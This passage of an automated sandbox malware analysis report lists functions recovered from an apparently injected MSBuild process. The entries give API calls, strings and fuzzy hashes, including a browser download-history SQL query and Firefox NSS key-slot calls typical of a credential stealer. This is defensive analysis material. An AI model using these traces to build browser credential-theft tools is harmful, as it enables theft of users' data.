Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 605b2d92edac8a7a338dc18d30698fec2c0f727f28b55c7ed06a5ef12e85153b
Instruction ID: a8ebcf2c62228eed398ddc552a64e77db431af6e3884b3403e9eb9cce12f641a
Opcode Fuzzy Hash: 605b2d92edac8a7a338dc18d30698fec2c0f727f28b55c7ed06a5ef12e85153b
Instruction Fuzzy Hash: 6741CE306187509FE720DF69CD84BABB7F4AF84318F100A1CF69593650EB34E989CB92

Function 0041C0D9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 98timeCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,74DE83C0,00000000,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C12C
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,0041C6A2,?,00417037), ref: 0041C15C
GetLocalTime.KERNEL32(?,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C188
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,0041C6A2,?,00417037,?), ref: 0041C196

Part of subcall function 0041BAA4: GetFileInformationByHandle.KERNEL32(?,?,00000000,?,086824A0), ref: 0041BAD8

Strings

7pA, xrefs: 0041C0E9

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Time$Pointer$HandleInformationLocalSystem
String ID: 7pA
API String ID: 3986731826-4034994935
Opcode ID: 67e2672ab753ca4f37cc9b7268c95e0e1104df219937840ae09d8f1390f1a5d2
Instruction ID: a03e18f876bb7c6bb95fa29af4f0117ab82ea060c0d505197b56aaa6882e86ab
Opcode Fuzzy Hash: 67e2672ab753ca4f37cc9b7268c95e0e1104df219937840ae09d8f1390f1a5d2
Instruction Fuzzy Hash: 97415971900209EBCF15DF69CC80ADEBBF8FF48310F10426AE854EA266D7349985CFA4

Function 6CB074A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CB07526
__Init_thread_footer.LIBCMT ref: 6CB07566
__Init_thread_footer.LIBCMT ref: 6CB07597

Strings

kernel32.dll, xrefs: 6CB07557
UnmapViewOfFile2, xrefs: 6CB07552

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 4dc0540afac9bfc313b4297aaf62290f6fa1190a1fecea86d8a312bb5e8bfab1
Instruction ID: 869fd2149791bb91ac4568c8d88b46263912af0feda4cc579671ae5bf9a822dc
Opcode Fuzzy Hash: 4dc0540afac9bfc313b4297aaf62290f6fa1190a1fecea86d8a312bb5e8bfab1
Instruction Fuzzy Hash: C92137357005D097CB148FA9C914EAD7B76EB46335F010528D40A67B40C779AC068692

Function 0040F2B1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 0040F2C7

Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042ED7A
Part of subcall function 0042ED65: __CxxThrowException@8.LIBCMT ref: 0042ED8F
Part of subcall function 0042ED65: std::exception::exception.LIBCMT ref: 0042EDA0

std::_Xinvalid_argument.LIBCPMT ref: 0040F2E6
_memmove.LIBCMT ref: 0040F320

Strings

string too long, xrefs: 0040F2E1
invalid string position, xrefs: 0040F2C2

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw_memmove
String ID: invalid string position$string too long
API String ID: 3404309857-4289949731
Opcode ID: 585f722b960d61c8edb6e887eede1a8e5c7a6d662bb162e141d0d5ca5504c1c1
Instruction ID: 8d1b4f359d452bc0139d647030d3afcb4c777ebb34d0dc45517a8c2f57a5c6cf
Opcode Fuzzy Hash: 585f722b960d61c8edb6e887eede1a8e5c7a6d662bb162e141d0d5ca5504c1c1
Instruction Fuzzy Hash: 4C11E071300202AFCB24EF2DD981A59B3A5BF41324754053AF805EBAC2C778ED598799

Function 6CBB0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CBB0BDE), ref: 6CBB0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CBB0BDE), ref: 6CBB0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CBB0BDE), ref: 6CBB0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CBB0BDE), ref: 6CBB0E32

Strings

%s incr => %d (find lib), xrefs: 6CBB0E2D

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 34575cf2ff5868b56a3d940fa72c95d86a4042aaaeea8acb47cf5e5d9e8e7ab9
Instruction ID: 6ec35bd471ed45ad8f31781f8e7434876e10a03db330373f064afbd88dea0642
Opcode Fuzzy Hash: 34575cf2ff5868b56a3d940fa72c95d86a4042aaaeea8acb47cf5e5d9e8e7ab9
Instruction Fuzzy Hash: A001D8B1B002549FE6209F24AC45E37B3BCDB45609B05446DEA05E3A51FB61FC14C6E1

Function 6CB0C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB0C0E9), ref: 6CB0C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CB0C437
FreeLibrary.KERNEL32(?,6CB0C0E9), ref: 6CB0C44C

Strings

ntdll.dll, xrefs: 6CB0C413
NtQueryVirtualMemory, xrefs: 6CB0C431

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b9d855f315649c76912e047a4d20f6d701fadc77ef8df30a139a3cf884d68881
Instruction ID: 86adbcfbbdba4a853880b26aa9ab6c2cdd45c1d1bd4f5ee89f882aadd85f685c
Opcode Fuzzy Hash: b9d855f315649c76912e047a4d20f6d701fadc77ef8df30a139a3cf884d68881
Instruction Fuzzy Hash: 54E09278605351DBEF007B71CA18735BFF8F70A656F04451AEA059BA05EBBCC4018A52

Function 6CB075B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CB0748B,?), ref: 6CB075B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CB075D7
FreeLibrary.KERNEL32(?,6CB0748B,?), ref: 6CB075EC

Strings

ntdll.dll, xrefs: 6CB075B3
RtlNtStatusToDosError, xrefs: 6CB075D1

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 49a2a8b77f0d6bca170494c7e22f80e1de9afea93587461470440d14cc341cd3
Instruction ID: 9075482dcefe47568a1c8dbbbe4d3a769a9201412f6b885b2f1579dd979aed14
Opcode Fuzzy Hash: 49a2a8b77f0d6bca170494c7e22f80e1de9afea93587461470440d14cc341cd3
Instruction Fuzzy Hash: CCE0B675700355ABEF006FA2C848B717FF8EB16219F104429AD46D3620EBBC8482CF52

Function 004092A7 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 192stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

lstrlenA.KERNEL32(?), ref: 004094AB
lstrlenA.KERNEL32(?), ref: 004094C6

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Strings

Downloads, xrefs: 004092D1
Downloads, xrefs: 00409328
SELECT target_path, tab_url from downloads, xrefs: 004093B9

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID: Downloads$Downloads$SELECT target_path, tab_url from downloads
API String ID: 2500673778-2241552939
Opcode ID: d0f7768f232a6fea81bb31f6e52023b3460b0561fbafc780798fbd3c5f61104f
Instruction ID: 0396c6ceee9e83395f4e3e89a2b70f5b696ce729a6e58c91481c5bf3bd851482
Opcode Fuzzy Hash: d0f7768f232a6fea81bb31f6e52023b3460b0561fbafc780798fbd3c5f61104f
Instruction Fuzzy Hash: 75711F71A40119AFCF01FFA6DE469DDB775AF04309F611026F500B71E1DBB8AE898B98

Function 6CAA4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CAA4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CAA4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAA4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAA4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CAA4F1E

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 3f30dddd856e2608a335228fc41e4dbd761eb72e83b4601d4f7a7ebc2421848a
Instruction ID: e79f9ea7099aee950446c7ace10d7d0a239b2bf879f5311514fec0b565bc2774
Opcode Fuzzy Hash: 3f30dddd856e2608a335228fc41e4dbd761eb72e83b4601d4f7a7ebc2421848a
Instruction Fuzzy Hash: 6241D0716087419FC711CFA9C88099BB7F4BF89344F149A2DF46687B41DB30E99ACB91

Function 6CBBEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBBEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CBBEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CBBEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBBEEEB
free.MOZGLUE(?), ref: 6CBBEEF6

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 163a7b683b689ce63668112920fa5cafe535d7d6b3638d32c1dd73901b5a389a
Instruction ID: 212cc68a2f0ab184c4b300327f3286293a6b29703401760f5dadf865aadcc03b
Opcode Fuzzy Hash: 163a7b683b689ce63668112920fa5cafe535d7d6b3638d32c1dd73901b5a389a
Instruction Fuzzy Hash: ED3109716002C09BE7209F28CC45B7A7BF4FB45315F140568FA5A97A60EF31E814CBE2

Function 6CAAB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CAAB532
moz_xmalloc.MOZGLUE(?), ref: 6CAAB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAAB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CAAB57E
free.MOZGLUE(00000000), ref: 6CAAB58F

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 0a969b169be1fd94523d1fa4826a2fdf774d7d83e49adc2884d9957f0e086c3e
Instruction ID: e373ca0573abc01cd86d499b3bd2fc138fe8f1ac21bbe7c115e35772e8ef690c
Opcode Fuzzy Hash: 0a969b169be1fd94523d1fa4826a2fdf774d7d83e49adc2884d9957f0e086c3e
Instruction Fuzzy Hash: AD210A71A0020A9BDB008FA4DC40BBEBBB9FF46314F284129E919DB341E736D956C7A1

Function 6CBCAD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CBC3FFF,00000000,?,?,?,?,?,6CBC1A1C,00000000,00000000), ref: 6CBCADA7

Part of subcall function 6CC214C0: TlsGetValue.KERNEL32 ref: 6CC214E0
Part of subcall function 6CC214C0: EnterCriticalSection.KERNEL32 ref: 6CC214F5
Part of subcall function 6CC214C0: PR_Unlock.NSS3 ref: 6CC2150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CBC3FFF,00000000,?,?,?,?,?,6CBC1A1C,00000000,00000000), ref: 6CBCADB4

Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC210F3
Part of subcall function 6CC210C0: EnterCriticalSection.KERNEL32(?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2110C
Part of subcall function 6CC210C0: PL_ArenaAllocate.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21141
Part of subcall function 6CC210C0: PR_Unlock.NSS3(?,?,?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC21182
Part of subcall function 6CC210C0: TlsGetValue.KERNEL32(?,6CBC8802,00000000,00000008,?,6CBBEF74,00000000), ref: 6CC2119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CBC3FFF,?,?,?,?,6CBC3FFF,00000000,?,?,?,?,?,6CBC1A1C,00000000), ref: 6CBCADD5

Part of subcall function 6CC1FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC18D2D,?,00000000,?), ref: 6CC1FB85
Part of subcall function 6CC1FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC1FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CCE94B0,?,?,?,?,?,?,?,?,6CBC3FFF,00000000,?), ref: 6CBCADEC

Part of subcall function 6CC1B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCF18D0,?), ref: 6CC1B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBC3FFF), ref: 6CBCAE3C

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: dd003ba3561b4aa792624f7ce1ea4bf6cae5732bc35b45f99fc24cd4889f2be1
Instruction ID: 506c954a338f34874cbe1752410250ee9164ebce6f45ce926b6538b3708bf6b2
Opcode Fuzzy Hash: dd003ba3561b4aa792624f7ce1ea4bf6cae5732bc35b45f99fc24cd4889f2be1
Instruction Fuzzy Hash: 4E1174B2F003452BF7109B699C45BBF73B8DF9524CF004228EC1996B41FB20E9498AE3

Function 6CBE8E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CC02E62,?,?,?,?,?,?,?,00000000,?,?,?,6CBD4F1C), ref: 6CBE8EA2

Part of subcall function 6CC0F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC0F854
Part of subcall function 6CC0F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC0F868
Part of subcall function 6CC0F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC0F882
Part of subcall function 6CC0F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC0F889
Part of subcall function 6CC0F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC0F8A4
Part of subcall function 6CC0F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC0F8AB
Part of subcall function 6CC0F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC0F8C9
Part of subcall function 6CC0F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC0F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CC02E62,?,?,?,?,?,?,?,00000000,?,?,?,6CBD4F1C), ref: 6CBE8EC3
TlsGetValue.KERNEL32(?,?,?,6CC02E62,?,?,?,?,?,?,?,00000000,?,?,?,6CBD4F1C), ref: 6CBE8EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CC02E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBE8EF1
PR_Unlock.NSS3 ref: 6CBE8F20

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 9f922570ad533a5908c032952f93fd16417f437eb54e06f8a4748372f70890c8
Instruction ID: 551bb1ca4d724e4d1766e58a489ea9e1c9d730f4b39a59eb5282f69015f521d1
Opcode Fuzzy Hash: 9f922570ad533a5908c032952f93fd16417f437eb54e06f8a4748372f70890c8
Instruction Fuzzy Hash: B221A070908A459FDB00AF29C18459DBBF4FF48354F01456EED989BB41E731E854CBC2

Function 00425833 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.MSVCRT ref: 00425841
_free.LIBCMT ref: 00425854

Memory Dump Source

Source File: 00000001.00000002.2478563220.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2478563220.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2478563220.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: _freemalloc
String ID:
API String ID: 3576935931-0
Opcode ID: 641b289af0baeaab8b9a5171f60c0491d104b74c17f1ced00544f24bd9ae676e
